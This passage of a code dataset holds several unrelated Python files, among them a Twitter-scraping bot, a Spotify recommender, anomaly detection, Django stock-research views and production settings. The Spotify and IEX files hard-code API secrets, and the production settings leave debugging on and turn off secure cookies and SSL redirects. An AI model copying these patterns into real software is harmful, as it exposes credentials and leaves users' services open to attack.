ΠΛΑΤΑΝΙΑ\"]\n if municipality == \"ΣΗΤΕΙΑΣ\":\n return df[df['Name of the building or public lighting'] == \"ΔΗΜΟΣ ΣΗΤΕΙΑΣ\"]\n\ndef clean_general_data(df: pd.DataFrame):\n # Only buildings\n\n df = building_filters(df)\n\n if df.empty:\n return df\n df['StartDate'] = df['Previous recording date'].astype(str).str.zfill(8)\n df['EndDate'] = df['Recording date'].astype(str).str.zfill(8)\n\n df['StartDate'] = pd.to_datetime(df['StartDate'], format=\"%d%m%Y\", errors='coerce')\n df['EndDate'] = pd.to_datetime(df['EndDate'], format=\"%d%m%Y\", errors='coerce')\n df = df[~pd.isna(df[\"StartDate\"])]\n if df.empty:\n return df\n df = df[~pd.isna(df[\"EndDate\"])]\n if df.empty:\n return df\n\n df['Current record'] = df['Current record'].apply(lambda x: 'nan' if x == 'X' else x)\n df['Current record'] = df['Current record'].astype(float)\n df['Previous record'] = df['Previous record'].astype(float)\n if 'variable' in df.columns: df.rename(columns={'variable': 'Variable'}, inplace=True)\n df['Variable'] = df['Variable'].astype(float)\n df = df[(~pd.isna(df['Current record'])) & (df['Current record'] > 0)]\n df = df[(~pd.isna(df['Previous record']))]\n if df.empty:\n return df\n\n df['Unique ID'] = df['Unique ID'].astype(str)\n df.sort_values(by=['Unique ID', 'StartDate'], inplace=True)\n df.drop_duplicates(inplace=True)\n\n return df\n\n\ndef harmonize_data(data, **kwargs):\n namespace = kwargs['namespace']\n config = kwargs['config']\n user = kwargs['user']\n n = Namespace(namespace)\n\n df = pd.DataFrame(data)\n df = df.applymap(decode_hbase)\n\n df = clean_general_data(df)\n if df.empty:\n return\n df_static = df.copy(deep=True)\n df_static = clean_static_data(df_static, config)\n harmonize_static_data(df_static, config, kwargs, n)\n\n # festos harmonize_ts_data(df_static, kwargs)\n\n\ndef harmonize_static_data(df, config, kwargs, n):\n user = kwargs['user']\n mapper = Mapper(config['source'], n)\n print(df)\n g = generate_rdf(mapper.get_mappings(\"static\"), df)\n print(\"g\", g)\n save_rdf_with_source(g, config['source'], config['neo4j'])\n link_devices_with_source(get_source_df(df, user, config['neo4j']), n, config['neo4j'])\n\n","repo_name":"BeeGroup-cimne/ePlanet","sub_path":"sources/Greece/harmonizer/mapping_data.py","file_name":"mapping_data.py","file_ext":"py","file_size_in_byte":12700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40774302442","text":"import time\nfrom random import randint\nfrom selenium import webdriver\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\n\n\n# Main class\nclass Bot:\n\n # Initialise variables\n def __init__(self):\n\n # List of potential moods\n choices = [\"happy\", \"angry\", \"sad\", \"chilled\", \"inspirational\"]\n\n # Select a random mood\n self.mood = choices[randint(0, len(choices) - 1)]\n\n # Link to the google driver\n self.driver = webdriver.Chrome(\"C:\\chromedriver\\chromedriver.exe\")\n self.text = None\n\n # Convert tweet to broken english\n def covert_to_broken_english(self, convert_value):\n\n # Get the website\n self.driver.get(\"https://lingojam.com/BadTranslator\")\n\n # Get the cookies tab and accept it\n WebDriverWait(self.driver, 10).until(EC.presence_of_element_located\n ((By.CLASS_NAME, \"css-flk0bs\"))).click()\n\n # Get the text input area and place the tweet into it to be converted\n convert_to_broken_english = WebDriverWait(self.driver, 10).until(EC.presence_of_element_located\n ((By.XPATH, \"//textarea[@id='english-text']\")))\n convert_to_broken_english.clear()\n convert_to_broken_english.send_keys(convert_value)\n\n # Wait for the textarea value to be updated\n time.sleep(4)\n\n # Get the value of the broken english text box and then return it as long as it isn't linger than 260 chars\n get_bad_english = self.driver.find_element_by_xpath(\"//div[2]/div/textarea\").get_attribute(\"value\")\n if len(get_bad_english) < 250:\n return get_bad_english\n else:\n return get_bad_english[:260]\n\n # Find a random comment on twitter\n def get_a_random_comment(self, url):\n\n # Get the twitter page\n self.driver.get(url)\n\n # Get the first tweet on the page and open it\n WebDriverWait(self.driver, 10).until(EC.presence_of_element_located\n ((By.XPATH,\n \"//div[@id='react-root']/div/div/div[2]/main/div/div/div/div\"\n \"/div/div[2]/div/div/section/div/div/div/div/div/article/div/\"\n \"div/div/div[2]/div\"))).click()\n\n # Get the text content of the tweet\n self.text = WebDriverWait(self.driver, 10).until(EC.presence_of_element_located((By.XPATH, \"//div[3]/div/div/\"\n \"div/span\"))).text\n\n # Check to make sure that the tweet is longer than 15 chars and mas more than 2 words in it, if not then rerun\n # the whole function after a wait time of 4 seconds\n if len(self.text) < 15 and len(self.text.split(\" \")) < 2:\n time.sleep(4)\n return self.get_a_random_comment(url)\n\n # Return the broken english tweet and add 2 hash_tags from the given text\n final_tweet = self.covert_to_broken_english(self.text)\n hash_tags = final_tweet.split(' ')\n return f\"{str(final_tweet)}\\n#{hash_tags[randint(0, len(hash_tags) - 1)]} #\" \\\n f\"{hash_tags[randint(0, len(hash_tags) - 1)]}\"\n\n # Determine where to get the tweet from based on the random mood of the bot\n def generate_a_post(self):\n if self.mood == \"happy\":\n return self.get_a_random_comment\\\n (\"https://twitter.com/search?q=excited&src=typed_query\")\n elif self.mood == \"angry\":\n return self.get_a_random_comment\\\n (\"https://twitter.com/search?q=angry&src=typed_query&f=live\")\n elif self.mood == \"sad\":\n return self.get_a_random_comment\\\n (\"https://twitter.com/search?q=sad&src=typed_query&f=live\")\n elif self.mood == \"chilled\":\n return self.get_a_random_comment\\\n (\"https://twitter.com/search?q=chillin&src=typed_query&f=live\")\n else:\n return self.get_a_random_comment\\\n (\"https://twitter.com/search?q=motivation&src=typed_query&f=live\")\n","repo_name":"rcampbell1337/twitter-bot","sub_path":"bot/bot_logic.py","file_name":"bot_logic.py","file_ext":"py","file_size_in_byte":4327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34707924732","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Aug 12 21:14:17 2021\r\nWed Sep 29 3:48PM : Improve comment\r\n\r\nLink :\r\n Isolation forest model : https://github.com/mesmalif/Practical_Machine_learning/tree/develop_practical_ML\r\n seaborn : https://towardsdatascience.com/introduction-to-data-visualization-in-python-89a54c97fbed\r\n\r\n\r\n@author: 41162395\r\n\"\"\"\r\nimport numpy as np\r\nimport pandas as pd\r\nimport seaborn as sns\r\n#import matplotlib.pyplot as plt\r\n#import matplotlib.gridspec as gridspec\r\nfrom sklearn.ensemble import IsolationForest\r\n#from sklearn.preprocessing import MinMaxScaler\r\n\r\n#Import raw dataset csv file\r\ndf_org = pd.read_csv('ballshear.csv')\r\ndf = pd.read_csv('ballshear.csv')\r\n\r\n#Data cleasing\r\nto_drop = ['LSL','USL','Parameter.Recipe','PROJECT_TYPE']\r\ndf_org.drop(to_drop, inplace=True, axis=1)\r\ndf_org.dropna(inplace=True)\r\ndf.drop(to_drop, inplace=True, axis=1)\r\ndf.dropna(inplace=True)\r\ndf_org.dropna(inplace=False)\r\n\r\n#Drop column features which are not relative anomaly\r\nto_drop = ['DATE_TIME','C_RISTIC','CUSTOMER','PT','EN_NO','DEVICE','REMARK',\r\n 'SUBGRP','BOM_NO','MC_ID','MC_NO','COUNTER',\r\n 'CHAR_MINOR','PACKAGE','DATE_','CIMprofile.cim_machine_name',\r\n 'Parameter.DataType','Parameter.Unit',\r\n 'Parameter.Valid','Parameter.EquipOpn','Parameter.EquipID',\r\n 'Parameter.ULotID','Parameter.CreateTime']\r\ndf.drop(to_drop, inplace=True, axis=1)\r\n\r\n#For json input for testing prediction (I get its from index0 dfx = df[:1])\r\ndfx = pd.read_json('x_input.json')\r\n\r\n# One hot encoder to numpy array X as below 7 columns or features\r\n# SHIFT, WIRE_SIZE, PLANT_ID, Parameter.Group, Parameter.No, Parameter.BondType, Parameter.No_1 \r\nfrom sklearn.compose import ColumnTransformer\r\nfrom sklearn.preprocessing import OneHotEncoder\r\nct = ColumnTransformer(transformers=[('encoder', OneHotEncoder(), [0,1,3,5,6,7,8])], remainder='passthrough')\r\nX = np.array(ct.fit_transform(df))\r\nX0 = np.array(ct.transform(dfx))\r\n\r\n# Fit Anomality model\r\nclf = IsolationForest(contamination=0.001) # \"auto\" or 0.0-0.5 outliner threshold\r\nclf.fit(X)\r\n\r\n# numpy array Y and SCORE for anomallity predictions.\r\nY = clf.predict(X)\r\nSCORE = clf.score_samples(X)\r\nY0 = clf.predict(X0)\r\nSCORE0 = clf.score_samples(X0)\r\n\r\n#add 'Y' and 'SCORE' array as new column in df DataFrame\r\ndf_org['Y'] = Y.tolist()\r\ndf_org['SCORE'] = SCORE.tolist()\r\ndfx['Y'] = Y0.tolist()\r\ndfx['SCORE'] = SCORE0.tolist()\r\n\r\n#Export output to csv\r\ndf_org.to_csv('ballshear_anomality.csv')\r\n\r\nsns.pairplot(df_org[[\"MEANX\",\"SD\",\"SCORE\",\"Y\"]])\r\n\r\n#############################\r\n# Common command \r\n#-------------------------\r\n# df.describe\r\n# df.info()\r\n# df.index\r\n# df.columns\r\n# dfx[:5]\r\n# du1=ds1.unstack()\r\n# df.isna().sum()\r\n# dfx = df.set_index(['C_RISTIC','PT','Parameter.CreateTime','Parameter.BondType','Parameter.No'])\r\n# df.loc[25024]\r\n# for i in range (len(Y)):\r\n# if Y[i] == -1:\r\n# print (df.loc[i])\r\n#\r\n# selected_columns = df[[\"col1\",\"col2\"]]\r\n# new_df = selected_columns.copy()\r\n\r\n# df_org[[\"MEANX\",\"SD\",\"Y\"]]\r\n\r\n# sns.scatterplot(x='sepal_length', y='sepal_width', hue='class', data=iris)\r\n# sns.scatterplot(x='MEANX', y='SD', data=temp)\r\n#\r\n# df0 = pd.read_json(jsonstr,orient=\"index\")\r\n# df0 = pd.read_json('input.json',orient=\"index\")\r\n# df0.drop(to_drop, inplace=True)\r\n# df0 = df0.transpose()\r\n# \r\n# df_org[Y==-1] #List Row for Y = -1 \r\n# df0json = df0.to_json()\r\n# file1 = open(\"x_input.json\",\"w\")\r\n# file1.writelines(df0json)\r\n# file1.close() \r\n\r\n","repo_name":"theerawatramchuen/Ballshear-Anomally-Detection","sub_path":"ballshear_Rev0.0.py","file_name":"ballshear_Rev0.0.py","file_ext":"py","file_size_in_byte":3506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8662101872","text":"import streamlit as st\nimport pandas as pd\nimport numpy as np\nimport tekore\nimport spotipy\nfrom numpy.linalg import norm\nfrom spotipy.oauth2 import SpotifyOAuth\nfrom spotipy.oauth2 import SpotifyClientCredentials\nimport os\n\nos.environ['SPOTIPY_CLIENT_ID'] = '5d154fbed7634659a1d6a3ec086a45e2'\nos.environ['SPOTIPY_CLIENT_SECRET']='dcec287c49db42bca8679789d5bf587b'\n\n\n\n\ndef main():\n SPOTIPY_CLIENT_ID='5d154fbed7634659a1d6a3ec086a45e2'\n SPOTIPY_CLIENT_SECRET='dcec287c49db42bca8679789d5bf587b'\n \n st.title(\"Let's find a similar song!\")\n SONG_NAME = st.text_input(\"Enter a song\")\n \n \n\n def authorize():\n CLIENT_ID = \"5d154fbed7634659a1d6a3ec086a45e2\"\n CLIENT_SECRET = \"dcec287c49db42bca8679789d5bf587b\"\n app_token = tekore.request_client_token(CLIENT_ID, CLIENT_SECRET)\n return tekore.Spotify(app_token)\n\n# spotifyApi = authorization.authorize()\n\n# sp1 = spotipy.authorize()\n#\n# # Replace YOUR_ACCESS_TOKEN with your access token\n# sp1.token = '5d154fbed7634659a1d6a3ec086a45e2'\n\n auth_manager = SpotifyClientCredentials()\n sp1 = spotipy.Spotify(auth_manager=auth_manager)\n\n # Replace SONG_NAME with the name of the song you want to search for\n# scope = \"user-library-read\"\n# sp = spotipy.Spotify(auth_manager=SpotifyOAuth(scope=scope))\n\n results = sp1.search(q=f'track:{SONG_NAME}', type='track', )\n # Get the first track from the search results\n track = results['tracks']['items'][0]\n req_uri = track['id']\n\n df = pd.read_csv(\"valenceArousalDataset.csv\")\n df[\"mood_vec\"] = df[[\"valence\", \"energy\"]].values.tolist()\n sp = authorize()\n def recommend(track_id, ref_df, sp, n_recs = 5):\n \n track_features = sp.track_audio_features(track_id)\n track_mood_vector = np.array([track_features.valence, track_features.energy])\n \n ref_df[\"distances\"] = ref_df[\"mood_vec\"].apply(lambda x: norm(track_mood_vector-np.array(x)))\n ref_df_sorted = ref_df.sort_values(by = \"distances\", ascending = True)\n ref_df_sorted = ref_df_sorted[ref_df_sorted[\"id\"] != track_id]\n \n return ref_df_sorted.iloc[:n_recs]\n \n if (SONG_NAME == \"\"):\n st.write(\"Please enter a song to find a match\")\n else:\n st.write(recommend(req_uri, ref_df=df, sp=sp, n_recs=10)[['trackName','artistName']])\n\nif __name__ == '__main__':\n main()\n","repo_name":"SiddanshChawla/Similar-Search","sub_path":"siddstream.py","file_name":"siddstream.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29158433298","text":"import pandas as pd\nimport pickle as p\nfrom tsv_reader import venn_diagram_gen\nfrom collections import defaultdict\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\nimport re\n\nmatrisome_cov_csv = 'D:/data/Naba_deep_matrisome/matrisome coverage.xlsx'\ndf_mat = pd.read_excel(matrisome_cov_csv)\ndf_mat = df_mat.drop_duplicates()\necm_proteins = df_mat['protein_id'].tolist()\n# ecm_category = df_mat['category'].tolist()\n# category_protein_id_dict = defaultdict(list)\n# for prot,category in zip(ecm_proteins,ecm_category):\n# category_protein_id_dict[category].append(prot)\n\n\n# p.dump(category_protein_id_dict,open('ecm_category_protein_dict.p','wb'))\n\n\np_path = '18_2_id_pepdict_0215.p'\nfile_id_pep_dict = p.load(open(p_path,'rb'))\npsm_dict_182B = p.load(open('D:/data/Naba_deep_matrisome/02152021_1/182B_psm_dict.p','rb'))\npsm_dict_182A = p.load(open('D:/data/Naba_deep_matrisome/02152021_1/182A_psm_dict.p','rb'))\n# get time-series accumulated covearge for ECM proteins\n# df = pd.read_csv('D:/data/Naba_deep_matrisome/02152021_1/dash_info.csv')\n\"\"\"\n#\n# df = df.drop(columns=['Unnamed: 0', 'Unnamed: 0.1'])\n# df_standard = df[df['file_name']=='18_2A']\n# df = df[(df['file_name']=='18_2B05')|(df['file_name']=='18_2B1')|(df['file_name']=='18_2B2')|\n# (df['file_name']=='18_2B4')|(df['file_name']=='18_2B18')|(df['file_name']=='18_2B20')]\n#\n# df_163_standard = df[df['file_name']=='163_3A']\n# df_163_timelapse = df[(df['file_name']=='163_3B05')|(df['file_name']=='163_3B1')|(df['file_name']=='163_3B2')|\n# (df['file_name']=='163_3B4')|(df['file_name']=='163_3B18')|(df['file_name']=='163_3B20')]\n\ntime_lapse_file = ['18_2B05','18_2B1','18_2B2','18_2B4','18_2B18','18_2B20']\n\ntime_lapse_peptide_list = [pep for file in time_lapse_file for prot in file_id_pep_dict[file] for pep in file_id_pep_dict[file][prot] if prot in ecm_proteins]\ntime_lapse_psm_list = [pep+'_'+str(i) for pep in time_lapse_peptide_list for i in range(psm_dict_182B[pep])]\n\nstandard_ecm_peptide_list = [pep for prot in file_id_pep_dict['18_2A'] for pep in file_id_pep_dict['18_2A'][prot] if prot in ecm_proteins]\nstandard_ecm_psm_list = [pep+'_'+str(i) for pep in standard_ecm_peptide_list for i in range(psm_dict_182A[pep])]\n# venn_diagram_gen({'time-lapse digestion':time_lapse_peptide_list,'20-hour standard digestion':standard_ecm_peptide_list}, title='Identified ECM peptides in 18_2')\n\nsecond_p_path = '163_3_id_pepdict_0215.p'\nfile_id_pep_dict_2 = p.load(open(second_p_path,'rb'))\npsm_dict_163B = p.load(open('D:/data/Naba_deep_matrisome/02152021_1/163B_psm_dict.p','rb'))\npsm_dict_163A = p.load(open('D:/data/Naba_deep_matrisome/02152021_1/163A_psm_dict.p','rb'))\n\ntime_lapse_file2 = ['163_3B05','163_3B1','163_3B2','163_3B4','163_3B18','163_3B20']\ntime_lapse_peptide_list2 = [pep for file in time_lapse_file2 for prot in file_id_pep_dict_2[file] for pep in file_id_pep_dict_2[file][prot] if prot in ecm_proteins]\ntime_lapse_psm_list2 = [pep+'_'+str(i) for pep in time_lapse_peptide_list2 for i in range(psm_dict_163B[pep])]\n\nstandard_ecm_peptide_list2 = [pep for prot in file_id_pep_dict_2['163_3A'] for pep in file_id_pep_dict_2['163_3A'][prot] if prot in ecm_proteins]\nstandard_ecm_psm_list2 = [pep+'_'+str(i) for pep in standard_ecm_peptide_list2 for i in range(psm_dict_163A[pep])]\n# venn_diagram_gen({'SNED1 KO time-series':time_lapse_psm_list,'':standard_ecm_psm_list,}, title='Identified ECM PSMs in SNED1 KO')\n\"\"\"\n\n# ptm analysis\nfrom tsv_reader import peptide_phospho_reader\n\nbase_path = 'D:/data/Naba_deep_matrisome/02152021_1/18_2B18/peptide.tsv'\necm_peptide = [pep for prot in file_id_pep_dict['18_2B18'] for pep in file_id_pep_dict['18_2B18'][prot] if prot in ecm_proteins]\nprint ('number of ecm peptides:',len(set(ecm_peptide)))\nptm = -17.0265\nptm_dict = peptide_phospho_reader(base_path,mod=ptm)\n\nptm_dict = {pep:ptm_dict[pep] for pep in ptm_dict if pep in ecm_peptide}\nptm_peptide_dict = defaultdict(set)\nfor pep in ptm_dict:\n for mod in ptm_dict[pep]:\n #print (mod)\n aa = re.search('[A-Z]', mod).group(0)\n ptm = re.search('\\(.+\\)',mod).group(0)[1:-1]\n ptm_peptide_dict[aa+'_'+ptm].add(pep)\nfor ptm in ptm_peptide_dict:\n print (ptm, len(ptm_peptide_dict[ptm]))","repo_name":"blackjack6666/deep_proteome","sub_path":"naba_1.py","file_name":"naba_1.py","file_ext":"py","file_size_in_byte":4210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37055864255","text":"import os, json\nfrom riscemv.ISA.Instruction import Instruction\n\n\nclass BType_Instruction(Instruction):\n rs1_type = \"int\"\n rs2_type = \"int\"\n\n\n def __init__(self, opcode, imm, funct3, rs1, rs2):\n self.opcode = opcode\n self.imm = imm\n self.funct3 = funct3\n self.rs1 = rs1\n self.rs2 = rs2\n\n\n def to_binary(self):\n if type(self.imm) == str:\n imm12 = '0'\n imm10 = '0' * 6\n imm4 = '0' * 4\n imm11 = '0'\n else:\n imm_bin = \"{:012b}\".format(self.imm)\n imm12 = imm_bin[0]\n imm10 = imm_bin[2:8]\n imm4 = imm_bin[8:12]\n imm11 = imm_bin[1]\n return \"{0}{1}$rs2$rs1{2}{3}{4}{5}\".format(\n imm12, imm10, self.funct3, imm4, imm11, self.opcode\n ).replace(\"$rs1\", \"{:05b}\".format(self.rs1)\n ).replace(\"$rs2\", \"{:05b}\".format(self.rs2))\n\n\n @staticmethod\n def parse(binary_code):\n imm12 = binary_code[0]\n imm10 = binary_code[1:7]\n rs2 = int(binary_code[7:12], 2)\n rs1 = int(binary_code[12:17], 2)\n funct3 = binary_code[17:20]\n imm4 = binary_code[20:24]\n imm11 = binary_code[24]\n opcode = binary_code[25:32]\n imm_bin = imm12 + imm11 + imm10 + imm4 + \"0\"\n imm = Instruction.imm_bin_to_int(imm_bin)\n return BType_Instruction(opcode, imm, funct3, rs1, rs2)\n\n\n def execute(self, rs1_value, rs2_value):\n code = self.execution_code\n code = code.replace('rs', str(rs1_value))\n code = code.replace('rt', str(rs2_value))\n\n return self.imm if eval(code) else 4\n\n\n def __str__(self):\n return '{} {}, {}, {}'.format(self.instr_name, self.__map_reg_name__(self.rs2, self.rs2_type),\n self.__map_reg_name__(self.rs1, self.rs1_type), self.imm)\n","repo_name":"AlexSartori/RISC-emV","sub_path":"riscemv/ISA/BType_Instruction.py","file_name":"BType_Instruction.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"2368795944","text":"from src.life.core.constants import GAME_OVER\nfrom src.life.core.utils import init_game, loop_field\n\n\ndef get_neighbours(cell: tuple) -> set:\n \"\"\"Функция получения сех соседей клетки\"\"\"\n x, y = cell\n incr = range(-1, 2)\n neighbours = {loop_field((x+i, y+j)) for i in incr for j in incr if not (i == 0 and j == 0)}\n return neighbours\n\n\ndef calc_alive_neighbours_count(neighbours: set, generation: set) -> int:\n \"\"\"Функция подсчета количества живых соседних клеток\"\"\"\n alive_neighbours = neighbours & generation\n return len(alive_neighbours)\n\n\ndef calc_newborn_cells(neighbours: set, generation: set, cash: set) -> set:\n \"\"\"\n Функция определения клеток, в которых зародится жизнь\n \"\"\"\n new_life = set()\n for cell in neighbours:\n if cell in cash or cell in generation:\n continue\n neighbours_neighbours = get_neighbours(cell)\n cash.add(cell)\n alive_cells_count = calc_alive_neighbours_count(neighbours_neighbours, generation)\n if alive_cells_count == 3:\n new_life.add(cell)\n return new_life\n\n\ndef calc_generation(current_generation: set) -> set:\n \"\"\"Функция расчета следующего поколения\"\"\"\n new_generation = set()\n cash = set()\n for cell in current_generation:\n neighbours = get_neighbours(cell)\n cash.add(cell)\n alive_neighbors = calc_alive_neighbours_count(neighbours, current_generation)\n if alive_neighbors == 2 or alive_neighbors == 3:\n new_generation.add(cell)\n new_life = calc_newborn_cells(neighbours, current_generation, cash)\n new_generation.update(new_life)\n return new_generation\n\n\ndef main():\n state = init_game()\n all_uniq_generations = set()\n while state:\n yield state\n new_generation = calc_generation(state)\n if new_generation == state or state in all_uniq_generations:\n break\n all_uniq_generations.add(frozenset(state))\n state = new_generation\n\n\nlife = main()\n\n\ndef get_next_generation():\n try:\n new_generation = next(life)\n except StopIteration:\n new_generation = GAME_OVER\n return new_generation\n","repo_name":"Casper-1/game-of-life-web-service","sub_path":"src/life/core/game_v1.py","file_name":"game_v1.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3599368544","text":"import os\n\nfrom os.path import join\n\nfrom manage import get_secret\n\nfrom .common import Common\n\n\nclass Prod(Common):\n DEBUG = True\n DOMAIN = \"ec2-18-223-15-184.us-east-2.compute.amazonaws.com\"\n # Common.ALLOWED_HOSTS += [\"18.223.15.184\", \"ec2-18-223-15-184.us-east-2.compute.amazonaws.com\", \"ec2-3-19-221-117.us-east-2.compute.amazonaws.com\", \"https://script.google.com\"]\n PROTOCOL = \"http\"\n CORS_ALLOW_HEADERS = (\n \"accept\",\n \"accept-encoding\",\n \"authorization\",\n \"content-type\",\n \"dnt\",\n \"origin\",\n \"user-agent\",\n \"x-csrftoken\",\n \"x-requested-with\",\n \"range\",\n )\n CORS_ALLOW_CREDENTIALS = True\n SECURE_HSTS_SECONDS = 60\n SECURE_CONTENT_TYPE_NOSNIFF = False\n SESSION_COOKIE_SECURE = False\n CSRF_COOKIE_SECURE = False\n SECURE_BROWSER_XSS_FILTER = False\n SECURE_SSL_REDIRECT = False\n SECURE_PROXY_SSL_HEADER = (\"HTTP_X_FORWARDED_PROTO\", PROTOCOL)\n CSRF_TRUSTED_ORIGINS = [DOMAIN]\n EMAIL_BACKEND = \"django_ses.SESBackend\"\n DEFAULT_FROM_EMAIL = \"Test \"\n CORS_ALLOW_ALL_ORIGINS = True\n AWS_ACCESS_KEY_ID = get_secret(\"AWS_ACCESS_KEY_ID\")\n AWS_SECRET_ACCESS_KEY = get_secret(\"AWS_SECRET_ACCESS_KEY\")\n","repo_name":"ptuckett86/calendar","sub_path":"calendar_events/config/prod.py","file_name":"prod.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2374471759","text":"import pytest\nfrom unittest import mock\nfrom aoc.solution import day08\n\n\nclass TestNode:\n def test_add_meta(self):\n node = day08.Node()\n with mock.patch.object(node, '_meta') as mock_meta:\n node.add_meta('meta')\n assert mock_meta.append.called_once_with('meta')\n\n def test_add_child(self):\n node = day08.Node()\n with mock.patch.object(node, '_children') as mock_children:\n node.add_child('child')\n assert mock_children.append.called_once_with('child')\n\n def test_meta_value(self):\n node = day08.Node()\n assert node.meta_value() == 0\n\n node.add_meta(4)\n node.add_meta(3)\n assert node.meta_value() == 7\n\n child = day08.Node()\n child.add_meta(5)\n child.add_meta(5)\n assert child.meta_value() == 10\n\n node.add_child(child)\n assert node.meta_value() == 17\n\n def test_value(self):\n node = day08.Node()\n assert node.value() == 0\n\n node.add_meta(3)\n assert node.value() == 3\n\n child = day08.Node()\n child.add_meta(5)\n node.add_child(child)\n assert node.value() == 0\n\n node.add_meta(1)\n assert node.value() == 5\n","repo_name":"baileyp/advent-of-code-2018","sub_path":"tests/unit/day08_test.py","file_name":"day08_test.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1981462844","text":"from django.shortcuts import render\n\n# Create your views here.\nimport os\nfrom django.http import HttpResponse, HttpResponseRedirect, response, Http404\nfrom django.template import Context, context, loader\nfrom django.urls import reverse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.conf import settings\nimport logging\nfrom .forms import stock_form, excel_export\nfrom .SECScraper import createZip, download\n\nimport pyEX as pyx\nimport json\n\nlogger = logging.getLogger('stock_research.views.json')\n\nIEX_TOKEN = \"Tpk_647cd93d6c5842d6978e55c6f79b0e1a\"\nclient = pyx.Client(IEX_TOKEN, version=\"sandbox\")\n\ndef index(request):\n form1 = stock_form()\n form2 = excel_export()\n return render(request, 'stock_research/base_stock_research.html', {'form1': form1, 'form2': form2})\n\n@csrf_exempt\ndef ticker_submit(request):\n if request.method == 'POST':\n form1 = stock_form(request.POST)\n form2 = excel_export()\n if form1.is_valid():\n ticker = form1.cleaned_data['ticker']\n sec_choice = form1.cleaned_data['SEC_Choice']\n if sec_choice == '1':\n data = client.incomeStatement(ticker, period='annual', last=4, format='json')\n logger.debug(\"-----------------------LOGGING INCOME STATEMENT JSON-----------------------\")\n logger.info(json.dumps(data, sort_keys=True, indent=4))\n context = {'form1':form1, 'form2': form2, 'data': data}\n return render(request, 'stock_research/income_statement.html', context)\n elif sec_choice == '2':\n data = client.balanceSheet(ticker, period='annual', last=4, format='json')\n logger.debug(\"-----------------------LOGGING BALANCE SHEET JSON-----------------------\")\n logger.info(json.dumps(data, sort_keys=True, indent=4))\n context = {'form1':form1, 'form2': form2, 'data': data}\n return render(request, 'stock_research/balance_sheet.html', context)\n elif sec_choice == '3':\n data = client.cashFlow(ticker, period='annual', last=4, format='json')\n logger.debug(\"-----------------------LOGGING CASH FLOWS JSON-----------------------\")\n logger.info(json.dumps(data, sort_keys=True, indent=4))\n context = {'form1':form1, 'form2': form2, 'data': data}\n return render(request, 'stock_research/balance_sheet.html', context)\n elif sec_choice == '4':\n data = client.advancedStats(ticker)\n logger.debug(\"-----------------------LOGGING FINANCIALS JSON-----------------------\")\n logger.info(json.dumps(data, sort_keys=True, indent=4))\n context = {'form1':form1, 'form2': form2, 'data': data}\n return render(request, 'stock_research/financials.html', context)\n else:\n form1 = stock_form()\n form2 = excel_export()\n return render(request, 'stock_research/base_stock_research.html', {'form1': form1, 'form2': form2})\n\n@csrf_exempt\ndef excel_workbook(request):\n if request.method == 'POST':\n form1 = stock_form()\n form2 = excel_export(request.POST)\n if form2.is_valid():\n ticker = form2.cleaned_data['ticker']\n cik = client.advancedStats(ticker)\n cik = cik.get('cik')\n comp1 = form2.cleaned_data['competitors1']\n comp2 = form2.cleaned_data['competitors2']\n comp3 = form2.cleaned_data['competitors3']\n comp4 = form2.cleaned_data['competitors4']\n comp5 = form2.cleaned_data['competitors5']\n competitors = []\n competitors.append(comp1)\n competitors.append(comp2)\n competitors.append(comp3)\n competitors.append(comp4)\n competitors.append(comp5)\n response = download((ticker+\".zip\"), (createZip('858877', ticker, competitors)))\n return response\n\n else:\n form1 = stock_form()\n form2 = excel_export()\n\n return render(request, 'stock_research/base_stock_research.html', {'form1': form1, 'form2': form2})\n","repo_name":"BraedenKuether/Capstone","sub_path":"backend/osig/stock_research/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4148,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"27047767768","text":"# Import dependencies.\nfrom flask import Flask, jsonify\nfrom datetime import datetime\nimport datetime as dt\n\nimport numpy as np\n\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, inspect, func\n\n# Create engine for connecting to sqlite file.\nengine = create_engine(\"sqlite:///Resources/hawaii.sqlite\")\nconnection = engine.connect()\n\n# Set up base to reflect the database in sqlite file.\nBase = automap_base()\nBase.prepare(engine, reflect=True)\n\n# Create Variable to be used for querying tables/classes.\nMeasurement = Base.classes.measurement\nStation = Base.classes.station\n\n# Start session between python and database.\nsession = Session(engine)\n\n# Flask setup. \napp = Flask(__name__)\n\n# First flask route setup\n@app.route(\"/\")\n\n# Define function for homepage and list all available routes.\ndef welcome():\n return(\n f\"Welcome to my home page!
    \"\n f\"Available Routes:
    \"\n f\"/api/v1.0/precipitation
    \"\n f\"/api/v1.0/stations
    \"\n f\"/api/v1.0/tobs
    \"\n f\"/api/v1.0/
